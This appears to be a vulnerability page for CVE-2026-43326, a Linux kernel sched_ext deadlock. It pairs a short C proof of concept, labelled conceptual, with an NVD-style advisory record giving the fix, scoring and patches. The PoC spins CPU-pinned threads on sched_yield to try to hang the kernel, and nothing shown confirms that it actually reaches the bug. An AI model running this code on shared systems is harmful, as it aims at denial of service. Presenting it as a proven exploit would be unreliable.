CVE-2026-43326

/* * PoC for CVE-2026-43326 (Conceptual) * This code attempts to trigger the sched_ext deadlock by creating * threads that bind to specific CPUs and induce heavy scheduling operations. * Requires a kernel with sched_ext enabled and vulnerable version. */ #include <stdio.h> #include <pthread.h> #include <unistd.h> #include <sched.h> void* worker(void* arg) { int cpu = *(int*)arg; cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(cpu, &cpuset); pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset); // Heavy loop to induce scheduling kicks while(1) { sched_yield(); } return NULL; } int main() { pthread_t t1, t2; int cpu0 = 0, cpu1 = 1; // Create threads on different CPUs to potentially trigger cross-CPU kicks pthread_create(&t1, NULL, worker, &cpu0); pthread_create(&t2, NULL, worker, &cpu1); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }

{"cve": {"id": "CVE-2026-43326", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:42.133", "lastModified": "2026-05-15T18:06:20.393", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsched_ext: Fix SCX_KICK_WAIT deadlock by deferring wait to balance callback\n\nSCX_KICK_WAIT busy-waits in kick_cpus_irq_workfn() using\nsmp_cond_load_acquire() until the target CPU's kick_sync advances. Because\nthe irq_work runs in hardirq context, the waiting CPU cannot reschedule and\nits own kick_sync never advances. If multiple CPUs form a wait cycle, all\nCPUs deadlock.\n\nReplace the busy-wait in kick_cpus_irq_workfn() with resched_curr() to\nforce the CPU through do_pick_task_scx(), which queues a balance callback\nto perform the wait. The balance callback drops the rq lock and enables\nIRQs following the sched_core_balance() pattern, so the CPU can process\nIPIs while waiting. The local CPU's kick_sync is advanced on entry to\ndo_pick_task_scx() and continuously during the wait, ensuring any CPU that\nstarts waiting for us sees the advancement and cannot form cyclic\ndependencies."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-667"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12", "versionEndExcluding": "6.19.12", "matchCriteriaId": "2BDABD84-DD0D-4387-AF04-A993A5DCFDAA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/415cb193bb9736f0e830286c72a6fa8eb2a9cc5c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c3a7903f65cf4c7fb0477eb0f8b94f326a47fe54", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}